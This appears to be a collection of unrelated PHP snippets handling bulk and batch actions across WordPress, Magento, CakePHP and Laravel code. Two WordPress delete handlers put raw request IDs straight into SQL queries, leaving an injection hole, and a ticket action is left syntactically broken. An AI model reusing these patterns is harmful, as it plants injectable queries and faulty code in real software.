"function process_bulk_action() {\n\t\t\n\t\t//Detect when a bulk action is being triggered...\n\t\tif( 'delete'=== $this->current_action() ) {\n\t\t\twp_die( 'Items deleted (or they would be if we had items to delete)!' );\n\t\t}\n\t\t\n\t}",
"public function massCriteriaSixAction()\n {\n $ifeedbackIds = $this->getRequest()->getParam('ifeedback');\n if (!is_array($ifeedbackIds)) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('Please select instructor feedbacks.')\n );\n } else {\n try {\n foreach ($ifeedbackIds as $ifeedbackId) {\n $ifeedback = Mage::getSingleton('bs_kst/ifeedback')->load($ifeedbackId)\n ->setCriteriaSix($this->getRequest()->getParam('flag_criteria_six'))\n ->setIsMassupdate(true)\n ->save();\n }\n $this->_getSession()->addSuccess(\n $this->__('Total of %d instructor feedbacks were successfully updated.', count($ifeedbackIds))\n );\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('There was an error updating instructor feedbacks.')\n );\n Mage::logException($e);\n }\n }\n $this->_redirect('*/*/index');\n }",
"public function allAction() {}",
"function process_bulk_action()\n {\n global $wpdb;\n\n $table_name = $wpdb->prefix.WSPRA_DB.'api_log';\n \n if ('delete' === $this->current_action()) {\n\n $ids = isset($_REQUEST['id']) ? esc_attr($_REQUEST['id']) : array();\n\n if (is_array($ids)) $ids = implode(',', $ids);\n\n if (!empty($ids)) {\n $cnt = $wpdb->get_var(\"SELECT count(*) FROM $table_name WHERE id IN($ids)\");\n $_get_logged_user = wcra_get_logged_user();\n $notification = \"<strong>$cnt</strong> Log has been deleted by <strong>$_get_logged_user </strong>\";\n // wcra_save_recent_activity(array('txt' => $notification ));\n $wpdb->query(\"DELETE FROM $table_name WHERE id IN($ids)\");\n }\n\n }\n\n }",
"function cps_changeset_publish_batch_entities($changeset, &$context) {\n cps_publish_changeset_entities($changeset->changeset_id);\n $context['results']['changeset'] = $changeset;\n $context['message'] = t('Publishing entities');\n $context['finished'] = TRUE;\n return $context;\n}",
"public function massCriteriaFiveAction()\n {\n $ifeedbackIds = $this->getRequest()->getParam('ifeedback');\n if (!is_array($ifeedbackIds)) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('Please select instructor feedbacks.')\n );\n } else {\n try {\n foreach ($ifeedbackIds as $ifeedbackId) {\n $ifeedback = Mage::getSingleton('bs_kst/ifeedback')->load($ifeedbackId)\n ->setCriteriaFive($this->getRequest()->getParam('flag_criteria_five'))\n ->setIsMassupdate(true)\n ->save();\n }\n $this->_getSession()->addSuccess(\n $this->__('Total of %d instructor feedbacks were successfully updated.', count($ifeedbackIds))\n );\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('There was an error updating instructor feedbacks.')\n );\n Mage::logException($e);\n }\n }\n $this->_redirect('*/*/index');\n }",
"public function massCriteriaFourAction()\n {\n $ifeedbackIds = $this->getRequest()->getParam('ifeedback');\n if (!is_array($ifeedbackIds)) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('Please select instructor feedbacks.')\n );\n } else {\n try {\n foreach ($ifeedbackIds as $ifeedbackId) {\n $ifeedback = Mage::getSingleton('bs_kst/ifeedback')->load($ifeedbackId)\n ->setCriteriaFour($this->getRequest()->getParam('flag_criteria_four'))\n ->setIsMassupdate(true)\n ->save();\n }\n $this->_getSession()->addSuccess(\n $this->__('Total of %d instructor feedbacks were successfully updated.', count($ifeedbackIds))\n );\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('There was an error updating instructor feedbacks.')\n );\n Mage::logException($e);\n }\n }\n $this->_redirect('*/*/index');\n }",
"public function do_batch() {\n\t\t$post_ids = array_map( 'intval', $this->get_post_ids() );\n\t\tforeach( $post_ids as $post_to_delete ) {\n\t\t\tadd_filter( Toolset_Association_Cleanup_Post::IS_DELETING_FILTER, '__return_true' );\n\t\t\twp_delete_post( $post_to_delete, true );\n\t\t\tremove_filter( Toolset_Association_Cleanup_Post::IS_DELETING_FILTER, '__return_true' );\n\t\t}\n\n\t\t$this->deleted_posts = count( $post_ids );\n\t}",
"private function product_batch()\n\t{\n\t\t// add call to trigger datagrab here\n\t\t//file_get_contents(ee()->config->item('base_url') . '?ACT=25&id=9');\n\n\t\tee()->sync_db = ee()->load->database('sync_db', true);\n\t\t$update_count = ee()->sync_db->count_all_results('products');\n\n\t\tif($update_count > 0)\n\t\t{\t\n\t\t\t// create curl resource \n\t $ch = curl_init(); \n\n\t // set url \n\t curl_setopt($ch, CURLOPT_URL, ee()->config->item('base_url') . '?ACT=25&id=' . ee()->config->item('integration_product_import_id')); \n\t curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0); \n\t curl_setopt($ch, CURLOPT_TIMEOUT, 300); \n\t curl_exec($ch); \n\t curl_close($ch);\n \t}\n\t}",
"public function performBatchMessages($operation, $ids);",
"public function massCriteriaThreeAction()\n {\n $ifeedbackIds = $this->getRequest()->getParam('ifeedback');\n if (!is_array($ifeedbackIds)) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('Please select instructor feedbacks.')\n );\n } else {\n try {\n foreach ($ifeedbackIds as $ifeedbackId) {\n $ifeedback = Mage::getSingleton('bs_kst/ifeedback')->load($ifeedbackId)\n ->setCriteriaThree($this->getRequest()->getParam('flag_criteria_three'))\n ->setIsMassupdate(true)\n ->save();\n }\n $this->_getSession()->addSuccess(\n $this->__('Total of %d instructor feedbacks were successfully updated.', count($ifeedbackIds))\n );\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('There was an error updating instructor feedbacks.')\n );\n Mage::logException($e);\n }\n }\n $this->_redirect('*/*/index');\n }",
"private function performActions()\n\t{\n\t\ttry\n\t\t{\n\t\t\t$this->performActionList();\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\t$this->errorsNonFatal[htmlspecialcharsEx($e->getCode())] = htmlspecialcharsEx($e->getMessage());\n\t\t}\n\t}",
"public function sendAction() {\n\t\t$this->certificateAction(TRUE);\n\t\t$this->groupAction(TRUE);\n\t\t$this->statAction(TRUE);\n\t}",
"public function actionMakeAll( $action = 'make', $fc = 0 )\n {\n if( $action == 'make' ) ( new WQuery() )->task_fc_truncate();\n if( $action == 'make' ) ( new WQuery() )->update_strategy_pause();\n\n foreach ( (new WQuery())->filters_strategy_item() as $item) {\n\n if ( $action == 'make' ) {\n for ($day = 0; $day <= $fc; $day++) {\n $this->actionMake($item['item_id'], $day);\n }\n\n }\n\n if ( $action == 'show' ) {\n print $item['item_id'].\"\\n\";\n\n }\n\n }\n\n }",
"function admin_bulk_action(){\n\t\t\n\t\t$this->layout = \"\";\n\t\t$this->autoRender = false;\n\t\tif(isset($this->data['Model']['id']) && count($this->data['Model']['id'])>0 && isset($this->data['Model']['action'])){\n\t\t\t\n\t\t\t$infected_records = array();\n\t\t\tforeach($this->data['Model']['id'] as $ids){\n\t\t\t\t$infected_records[] = DECRYPT_DATA($ids);\n\t\t\t}\n\t\t\t$model_name = $this->data['Model']['model_name'];\n\t\t\t$action = $this->data['Model']['action'];\n\t\t\tApp::import(\"Model\",$model_name);\n\t\t\t$this->$model_name = new $model_name();\n\t\t\tif($action == 0){//Activate Status\n\t\t\t $this->$model_name->updateAll(array(\"$model_name.is_active\"=>\"'1'\"),array(\"$model_name.id\"=>$infected_records));\n\t\t\t $this->Session->setFlash(RECORD_ACTIVATED, 'message/green');\n\t\t\t}\n\t\t\telse if($action == 1){//Inactivate Status\n\t\t\t $this->$model_name->updateAll(array(\"$model_name.is_active\"=>\"'0'\"),array(\"$model_name.id\"=>$infected_records));\n\t\t\t $this->Session->setFlash(RECORD_DEACTIVATED, 'message/green');\n\t\t\t}else if($action == 2){//Delete selected records\n\t\t\t\t\n\t\t\t $this->$model_name->updateAll(array(\"$model_name.is_deleted\"=>\"'1'\"),array(\"$model_name.id\"=>$infected_records));\n\t\t\t if($model_name == \"Vendor\"){\n\t\t\t\tApp::import(\"Model\",\"Product\");\n\t\t\t\t$this->Product = new Product();\n\t\t\t\t$this->Product->updateAll(array(\"Product.is_deleted\"=>\"'1'\"),array(\"Product.vendor_id\"=>$infected_records));\n\t\t\t\tApp::import(\"Model\",\"Coupon\");\n\t\t\t\t$this->Coupon = new Coupon();\n\t\t\t\t$this->Coupon->updateAll(array(\"Coupon.is_deleted\"=>\"'1'\"),array(\"Coupon.vendor_id\"=>$infected_records));\n\t\t\t }\n\t\t\t \n\t\t\t \n\t\t\t $this->Session->setFlash(RECORD_DELETED, 'message/green');\n\t\t\t}\n\t\t\t$this->redirect($this->referer());exit();\t\n\t\t}\n\t}",
"public function batchAction()\n {\n \t$actions = $this->get('request')->get('actions');\n \t$em = $this->get('doctrine.orm.entity_manager');\n \t\n \tif ($this->get('request')->get('action_name') == '_delete')\n \t{\n\t foreach($actions as $value)\n\t {\n\t $media = $this->get('media_manager.manager')->findOneById($value);\n\t $em->remove($media);\n\t }\n\t $em->flush();\n }\n return new RedirectResponse($this->get('media_manager.manager')->generateUrl('media_manager_homepage', array()));\n }",
"function process_bulk_action() {\n \n //Detect when a bulk action is being triggered...\n if( 'delete'===$this->current_action() ) {\n wp_die('Items deleted (or they would be if we had items to delete)!');\n }\n \n }",
"public function massCriteriaTwoAction()\n {\n $ifeedbackIds = $this->getRequest()->getParam('ifeedback');\n if (!is_array($ifeedbackIds)) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('Please select instructor feedbacks.')\n );\n } else {\n try {\n foreach ($ifeedbackIds as $ifeedbackId) {\n $ifeedback = Mage::getSingleton('bs_kst/ifeedback')->load($ifeedbackId)\n ->setCriteriaTwo($this->getRequest()->getParam('flag_criteria_two'))\n ->setIsMassupdate(true)\n ->save();\n }\n $this->_getSession()->addSuccess(\n $this->__('Total of %d instructor feedbacks were successfully updated.', count($ifeedbackIds))\n );\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('There was an error updating instructor feedbacks.')\n );\n Mage::logException($e);\n }\n }\n $this->_redirect('*/*/index');\n }",
"function dispatch_bulk_action_handler( $redirect_to, $doaction, $post_ids ) {\n\n if ( $doaction !== 'shippify_dispatch' ) {\n return $redirect_to;\n }\n foreach ( $post_ids as $post_id ) {\n if ((get_post_meta( $post_id, '_is_dispatched', true ) == 'no' || get_post_meta( $post_id, '_is_dispatched', true ) == '') && in_array(\"shippify\", get_post_meta( $post_id, '_shipping_method', true ))){\n\n $res = $this->create_shippify_task($post_id);\n\n if ($res != false){\n $response = json_decode($res['body'], true);\n if (isset($response['id'])){\n update_post_meta($post_id, '_is_dispatched', 'yes');\n update_post_meta($post_id, '_shippify_id', $response['id']);\n $error = 'none';\n }else{\n $error = 'multipleError'; \n } \n }else{\n $error = 'multipleError';\n }\n \n }\n\n }\n $redirect_to = add_query_arg( array(\n 'bulk_dispatched_orders' => count( $post_ids ),\n 'error' => $error\n ), \n $redirect_to );\n return $redirect_to;\n }",
"protected function get_bulk_actions()\n {\n }",
"protected function get_bulk_actions()\n {\n }",
"function execute()\n\t\t{\n\t\t\t$result = false;\n\t\t\t\n\t\t\tforeach($this->data as $action)\n\t\t\t{\n\t\t\t\tif(isset($action[\"attributes\"]) && isset($action[\"attributes\"][\"type\"])) {\n\t\t\t\t\t$store = $this->getActionStore($action);\n\t\t\t\t\t$parententryid = $this->getActionParentEntryID($action);\n\t\t\t\t\t$folderentryid = $this->getActionEntryID($action);\n\t\t\t\t\t//using regular expression we find action type and accordingly assigns the properties \n\t\t\t\t\t$this->properties = (strpos($action[\"attributes\"][\"type\"], \"folder\") !== false)? $GLOBALS[\"properties\"]->getFolderProperties() : $GLOBALS[\"properties\"]->getMailProperties();\n\t\t\t\t\t\n\t\t\t\t\tif(isset($action[\"attributes\"]) &&($action[\"attributes\"][\"type\"] != \"list\" && $action[\"attributes\"][\"type\"] != \"folderlist\")){\t\n\t\t\t\t\t\t$entrylist = array();\n\t\t\t\t\t\tif(isset($action[\"folders\"])){\n\t\t\t\t\t\t\t//checks for the entryid tag when a client sends a response for restore or delete of folder. \n\t\t\t\t\t\t\tif(isset($action[\"folders\"][\"folder\"]) && isset($action[\"folders\"][\"folder\"][\"entryid\"])) {\n\t\t\t\t\t\t\t\tarray_push($entrylist, $action[\"folders\"][\"folder\"]);\n\t\t\t\t\t\t\t}else {\n\t\t\t\t\t\t\t\t\tforeach($action[\"folders\"][\"folder\"] as $key => $value) {\n\t\t\t\t\t\t\t\t\tarray_push($entrylist, $action[\"folders\"][\"folder\"][$key]);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\tif(isset($action[\"messages\"][\"message\"]) && isset($action[\"messages\"][\"message\"][\"entryid\"])) {\n\t\t\t\t\t\t\t\tarray_push($entrylist, $action[\"messages\"][\"message\"]);\n\t\t\t\t\t\t\t}else {\n\t\t\t\t\t\t\t\t\tforeach($action[\"messages\"][\"message\"] as $key => $value) {\n\t\t\t\t\t\t\t\t\tarray_push($entrylist, $action[\"messages\"][\"message\"][$key]);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\t\n\t\t\t\t\t}\n\n\t\t\t\t\tswitch($action[\"attributes\"][\"type\"])\n\t\t\t\t\t{\n\t\t\t\t\t\tcase \"list\":\n\t\t\t\t\t\t\t$result = $this->messageList($store, $folderentryid, $action);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\t\tcase \"deleteallmsg\":\n\t\t\t\t\t\t\t$result = $this->deleteAll($store, $folderentryid, $action);\n\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\tcase \"restoreallmsg\":\n\t\t\t\t\t\t\t$result = $this->restoreAll($store, $folderentryid, $action);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\n\t\t\t\t\t\tcase \"deletemsg\":\n\t\t\t\t\t\t\t$result = $this->deleteItems($store, $folderentryid, $entrylist, $action);\n\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\tcase \"restoremsg\":\n\t\t\t\t\t\t\t$result = $this->restoreItems($store, $folderentryid, $entrylist, $action);\n\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\tcase \"folderlist\":\n\t\t\t\t\t\t\t$result = $this->folderList($store, $folderentryid, $action);\n\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\tcase \"deleteallfolder\":\n\t\t\t\t\t\t\t$result = $this->deleteAllFolder($store, $folderentryid, $action);\n\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\tcase \"restoreallfolder\":\n\t\t\t\t\t\t\t$result = $this->restoreAllFolder($store, $folderentryid, $action);\n\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\tcase \"deletefolder\":\n\t\t\t\t\t\t\t$result = $this->deleteFolder($store, $folderentryid, $entrylist, $action);\n\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\tcase \"restorefolder\":\n\t\t\t\t\t\t\t$result = $this->restoreFolder($store, $folderentryid, $entrylist, $action);\n\t\t\t\t\t\t\tbreak;\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// check if $action[\"attributes\"] is set and type is other then list/folderlist and \n\t\t\t// return of action is true then call the new list of items to be sent to the client back.\n\t\t\tif(isset($action[\"attributes\"])){\n\t\t\t\t\n\t\t\t\tswitch($action[\"attributes\"][\"type\"])\n\t\t\t\t{\n\t\t\t\t\tcase \"deletemsg\":\n\t\t\t\t\tcase \"deleteallmsg\":\n\t\t\t\t\tcase \"restoremsg\":\n\t\t\t\t\tcase \"restoreallmsg\":\n\t\t\t\t\t\t$result = $this->messageList($store, $folderentryid, $action);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t\t\tcase \"deletefolder\":\n\t\t\t\t\tcase \"deleteallfolder\":\n\t\t\t\t\tcase \"restorefolder\":\n\t\t\t\t\tcase \"restoreallfolder\":\n\t\t\t\t\t\t$result = $this->folderList($store, $folderentryid, $action);\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $result;\n\t\t}",
"public function\n\t\tdo_actions()\n\t{\n\t}",
"public function run()\n {\n //\n\n $adv = new Entity;\n $adv->id_entity = 1;\n $adv->name = \"PIM\";\n $adv->path = \"pim3uyLRGnw6cxutO3p\";\n $adv->save();\n\n $adv = new Entity;\n $adv->id_entity = 10;\n $adv->name = \"DGX\";\n $adv->path = \"dgxS9qLNIUHql0jMHSE\";\n $adv->save();\n\n $adv = new Entity;\n $adv->id_entity = 11;\n $adv->name = \"WD\";\n $adv->path = \"wdmRVzLWPgEU1Xrydfu\";\n $adv->save();\n\n $adv = new Entity;\n $adv->id_entity = 12;\n $adv->name = \"EDB\";\n $adv->path = \"edbWspBfn1D27nGrgZm\";\n $adv->save();\n\n }",
"function process_bulk_action() {\n global $catpdf_templates;\n if ('delete' === $this->current_action()) {\n if (count($_POST['template']) > 0) {\n foreach ($_POST['template'] as $template) {\n $catpdf_templates->delete_template($template);\n }\n }\n }\n }",
"function process_bulk_action()\n {\n global $wpdb;\n $table_name = $wpdb->prefix . 'google_location_form'; // do not forget about tables prefix\n\n if ('delete' === $this->current_action()) {\n $ids = isset($_REQUEST['id']) ? $_REQUEST['id'] : array();\n if (is_array($ids)) $ids = implode(',', $ids);\n\n if (!empty($ids)) {\n $wpdb->query(\"DELETE FROM $table_name WHERE id IN($ids)\");\n }\n }\n }",
"public function run()\n {\n $categories = factory(Category::class,5)->create();\n\n foreach ($categories as $category){\n $category->threads()->saveMany(factory(Thread::class,10)->make());\n\n foreach ($category->threads as $thread){\n $thread->replies()->saveMany(factory(\\App\\Reply::class,5)->make());\n\n }\n }\n\n\n// $threads = factory(Thread::class,20)->create();\n }",
"public function update_ct_batch()\n\t{\n\t\t$this->load->model('Admin_functions_model');\n\t\t$batch_count = sizeof($this->input->post('dates'));\n\t\t$country_id = $this->input->post('co_id');\n\t\t$center_id = $this->input->post('ce_id');\n\t\t$main_category_id = $this->input->post('mc_id');\n\t\t$course_id = $this->input->post('cor_id');\n\n\t\tif( $this->Admin_functions_model->delete_ct_batches($country_id,$center_id,$main_category_id,$course_id) )\n\t\t{\n\t\t\tfor ($i=0; $i < $batch_count; $i++) {\n\t\t\t\t$form_data = array(\n\t\t\t\t\t\t\t\t'country_id' => $this->input->post('country_id'),\n\t\t\t\t\t\t\t\t'center_id' => $this->input->post('center_id'),\n\t\t\t\t\t\t\t\t'main_category_id' => $this->input->post('main_category_id'),\n\t\t\t\t\t\t\t\t'course_id' => $this->input->post('course_id'),\n\t\t\t\t\t\t\t\t'dates' => $_POST['dates'][$i],\n\t\t\t\t\t\t\t\t'from_time' => $_POST['from_time'][$i],\n\t\t\t\t\t\t\t\t'to_time' => $_POST['to_time'][$i],\n\t\t\t\t\t\t\t\t'course_fee_full' => $_POST['course_fee_full'][$i],\n\t\t\t\t\t\t\t\t'course_fee_offer' => $_POST['course_fee_offer'][$i],\n\t\t\t\t\t\t\t\t'offer_untill_date' => $_POST['offer_untill_date'][$i],\n\t\t\t\t\t\t\t);\n\t\t\t\t$status = $this->Admin_functions_model->store_class_batch($form_data);\n\t\t\t}\n\t\t}\n\n\t\tif( $status )\n\t\t{\n\t\t\t$this->session->set_flashdata('feedback', 'Batches updated successfully');\n\t\t\t$this->session->set_flashdata('feedback_class', 'alert-success');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->session->set_flashdata('feedback', 'Failed to update, Please try again');\n\t\t\t$this->session->set_flashdata('feedback_class', 'alert-danger');\n\t\t}\n\n\t\treturn redirect('Admin_functions/class_room_training');\n\t}",
"function send() {\n\t\t$arrConsignmentsPerCourier = [];\n\t\tforeach($this->arrBatchData as $arrConsignment) {\n\t\t\t$objConsignment = new Consignment($arrConsignment);\n\t\t\t$strCourier = $objConsignment->getCourierName();\n\n\t\t\tif(!array_key_exists($strCourier, $arrConsignmentsPerCourier)) {\n\t\t\t\t$arrConsignmentsPerCourier[$strCourier] = [];\n\t\t\t}\n\n\t\t\t// add this consignment into the array for its Courier\n\t\t\t$arrConsignmentsPerCourier[$strCourier][] = $objConsignment;\n\t\t}\n\n\t\tforeach($arrConsignmentsPerCourier as $strIndex => $arrConsignments) {\n\n\t\t\t$strCourier = Helper::getCourierClassName($strIndex);\n\t\t\tforeach($arrConsignments as $objConsignment) {\n\t\t\t\t// Log the address being used for each courier\n\t\t\t\terror_log(\"Address for $strCourier: \" . $objConsignment->getAddress());\n\t\t\t}\n\n\t\t\t// send the IDs to each used Courier\n\t\t\t$strCourier::send();\n\t\t}\n\n\t\terror_log('complete');\n\t}",
"public function posts()\n {\n $source = $this->source[ $this->cm->cena ];\n $data = array();\n foreach( $source as $entityName => $types ) {\n foreach( $types as $type => $ids ) {\n foreach( $ids as $id => $info ) {\n $cenaID = $this->cm->construct->compose( $entityName, $type, $id );\n $data[ $cenaID ] = $info;\n if( $type == EntityAbstract::_ID_TYPE_VIRTUAL && $id > EntityAbstract::$_id_for_new ) {\n // keep up with the largest *new* id.\n EntityAbstract::$_id_for_new = $id+1;\n }\n }\n }\n }\n return $this->process( $data );\n }",
"public function batch($var, $functions);",
"public function sendMultiple(array $messages);",
"public function batchticketsAction(){\n $request = $this->getRequest();\n\n if ( $request->isPost() ){\n $post = $this->getRequest()->getPost();\n\n $form = new Yourdelivery_Form_Administration_Crm_Ticket();\n if ( $form->isValid($post) ){\n if ($post['offlineStatus'])\n \n \n $values = $form->getValues();\n\n if (strlen($values['scheduledD'])!=0) {\n $values['scheduled'] = substr($values['scheduledD'], 6, 4) . \"-\" . substr($values['scheduledD'], 3, 2) . \"-\" . substr($values['scheduledD'], 0, 2) . \" \" . substr($values['scheduledT'], 0, 2) . \":\" . substr($values['scheduledT'], 3, 2) . \":00\"; \n }\n \n //save new data\n $ticket->setData($values);\n $ticket->save();\n $this->success(__b(\"Changes successfully saved\"));\n $this->logger->adminInfo(sprintf(\"Crm ticket #%d was edited\", $ticket->getId()));\n \n // save the entry in ticket history\n $ticketHistoryEntry = new Yourdelivery_Model_Crm_Tickethistory();\n $ticketHistoryEntry->setData($values);\n $ticketHistoryEntry->setTicketId($ticket->getId());\n \n $admin = $this->session->admin;\n if (!is_null($admin)) {\n $ticketHistoryEntry->setChangedBy($admin->getId());\n }\n else {\n $ticketHistoryEntry->setChangedBy(0);\n }\n $ticketHistoryEntry->save(); \n }\n else{\n $this->error($form->getMessages());\n $this->_redirect('/administration_crm/editticket/ticketId/' . $ticket->getId());\n }\n }\n \n $this->view->assign('batch', 1);\n }",
"function process_bulk_action()\n {\n //Detect when a bulk action is being triggered...\n if ('delete_selected' === $this->current_action() && $_GET['shortcode']) {\n foreach ($_GET['shortcode'] as $id) {\n $this->delete_shortcode($id);\n }\n }\n }",
"private function iterate_actions( $when ) {\n\t\t// general\n\t\tdo_action( \"astoundify_import_content_{$when}_{$this->get_action()}_item\", $this );\n\n\t\t// type\n\t\tdo_action( \"astoundify_import_content_{$when}_{$this->get_action()}_item_type_{$this->get_type()}\", $this );\n\n\t\t// object type\n\t\tif ( isset( $this->item['data']['post_type'] ) ) {\n\t\t\t$object_type = $this->item['data']['post_type'];\n\n\t\t\tdo_action( \"astoundify_import_content_{$when}_{$this->get_action()}_item_type_{$object_type}\", $this );\n\t\t}\n\n\t\t// item\n\t\tdo_action( \"astoundify_import_content_{$when}_{$this->get_action()}_item_{$this->get_id()}\", $this );\n\t}",
"public function run()\n {\n for ($cpt=0; $cpt < 5; $cpt++) {\n Category::factory()\n ->hasAttached(\n Product::factory()\n ->count(5)\n ->state(function (array $attributes) {\n return ['restaurant_id' => 1];\n })\n ->afterCreating(function (Product $product) {\n $product\n ->addMedia(storage_path('demo/food.png'))\n ->preservingOriginal()\n ->toMediaCollection();\n }),\n )\n ->create(['restaurant_id' => 1, 'order' => $cpt]);\n }\n\n for ($cpt=0; $cpt < 5; $cpt++) {\n Category::factory()\n ->hasAttached(\n Product::factory()\n ->count(5)\n ->state(function (array $attributes) {\n return ['restaurant_id' => 2];\n }),\n )\n ->create(['restaurant_id' => 2, 'order' => $cpt]);\n }\n }",
"public function executeAll();",
"public function run() {\n\t\tif (empty($this->entId)) {\n\t\t\t$this->entId = config('gmf.ent.id');\n\t\t}\n\t\tif (empty($this->entId)) {\n\t\t\treturn;\n\t\t}\n\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_CBO_ORG\")->name(\"组织\")\n\t\t\t\t->local('api/cbo/orgs/batch');\n\t\t});\n\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_CBO_CURRENCY\")->name(\"币种\")\n\t\t\t\t->local('api/cbo/currencies/batch');\n\t\t});\n\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_CBO_UOM\")->name(\"计量单位\")\n\t\t\t\t->local('api/cbo/units/batch');\n\t\t});\n\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_CBO_DEPT\")->name(\"部门\")\n\t\t\t\t->local('api/cbo/depts/batch');\n\t\t});\n\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_CBO_WORK\")->name(\"工作中心\")\n\t\t\t\t->local('api/cbo/works/batch');\n\t\t});\n\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_CBO_WH\")->name(\"存储地点\")\n\t\t\t\t->local('api/cbo/whs/batch');\n\t\t});\n\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_CBO_PERSON\")->name(\"人员\")\n\t\t\t\t->local('api/cbo/persons/batch');\n\t\t});\n\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_CBO_PROJECT_CATEGORY\")->name(\"项目分类\")\n\t\t\t\t->local('api/cbo/project-categories/batch');\n\t\t});\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_CBO_PROJECT\")->name(\"项目\")\n\t\t\t\t->local('api/cbo/projects/batch');\n\t\t});\n\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_CBO_ITEM_CATEGORY\")->name(\"物料分类\")\n\t\t\t\t->local('api/cbo/item-categories/batch');\n\t\t});\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_CBO_ITEM\")->name(\"物料\")\n\t\t\t\t->local('api/cbo/items/batch');\n\t\t});\n\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_CBO_TRADER_CATEGORY\")->name(\"客商分类\")\n\t\t\t\t->local('api/cbo/trader-categories/batch');\n\t\t});\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_CBO_TRADER\")->name(\"客商\")\n\t\t\t\t->local('api/cbo/traders/batch');\n\t\t});\n\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_CBO_DOC_TYPE\")->name(\"单据类型\")\n\t\t\t\t->local('api/cbo/doc-types/batch');\n\t\t});\n\n\t\t//业务数据\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_TRADE_MISCRCV\")->name(\"业务-杂收\")\n\t\t\t\t->local('api/amiba/doc-bizs/batch'); $b->body('{\"FromDate\":\"#{fm_date}#\",\"toDate\":\"#{to_date}#\"}');\n\t\t});\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_TRADE_MISCSHIP\")->name(\"业务-杂发\")\n\t\t\t\t->local('api/amiba/doc-bizs/batch'); $b->body('{\"FromDate\":\"#{fm_date}#\",\"toDate\":\"#{to_date}#\"}');\n\t\t});\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_TRADE_TRANSIN\")->name(\"业务-库存调入\")\n\t\t\t\t->local('api/amiba/doc-bizs/batch'); 